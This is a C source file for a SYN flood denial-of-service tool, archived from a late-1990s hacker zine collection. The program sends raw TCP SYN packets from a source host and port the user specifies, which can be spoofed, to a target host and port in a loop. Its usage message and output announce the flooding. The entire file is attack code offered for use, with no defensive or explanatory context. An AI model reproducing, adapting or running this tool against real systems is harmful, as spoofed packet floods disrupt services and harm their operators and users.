home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / sf_paus.c < prev    next >
C/C++ Source or Header  |  1999-01-02  |  1KB  |  48 lines

  1. #include "tcpip.h"
  2.  
  3. void sendpack(char *fromhost, int fromport, char *tohost, int toport) {
  4.  char *packet;
  5.  char *tcppacket;
  6.  static struct sockaddr_in local, remote;
  7.  static int sock = 0;
  8.  int result;
  9.  
  10.  if (!sock) {
  11.    resolve_address((struct sockaddr *)&local, fromhost, fromport);
  12.    resolve_address((struct sockaddr *)&remote, tohost, toport);
  13.    sock = socket(AF_INET, SOCK_RAW, 255);
  14.    if (sock == -1) { perror("Getting raw socket"); exit(-1); }
  15.   }
  16.  
  17.    tcppacket = create_tcp(local.sin_addr.s_addr, remote.sin_addr.s_addr, 
  18.     fromport, remote.sin_port, fromport+234234, 0, TH_SYN,
  19.     NULL, 0);
  20.  
  21.    packet = create_ip(local.sin_addr.s_addr, remote.sin_addr.s_addr,
  22.     6, 24, 4, tcppacket, 20);
  23.  
  24.    result = sendto(sock, packet, 40, 0,
  25.     (struct sockaddr *)&remote, sizeof(remote));
  26.    if (result != 40) { perror("sending packet"); }
  27. }
  28.  
  29. main(int argc, char *argv[]) {
  30.  int boobz, hoz, maxhoz;
  31. if (argc!=6) {
  32.  printf("usage: %s <from host> <from port> <to host> <to port> <times>\n", argv[0]);
  33.  exit(-1);
  34. }
  35.  printf("SYN flooding from %s to %s.%d\n", argv[1], argv[3], atoi(argv[4]));
  36.  boobz = atoi(argv[2]);
  37.  maxhoz = atoi(argv[5]);
  38. while (1) {
  39.   for (hoz=0;hoz<maxhoz;++hoz) {
  40.    printf("packet from %s.%d to %s.%d\n", argv[1], boobz+hoz, argv[3], 
  41.     atoi(argv[4]));
  42.    sendpack(argv[1], boobz+hoz, argv[3], atoi(argv[4]));
  43.    wait(2);
  44.   }
  45. exit(-1);
  46.  }
  47. }
  48.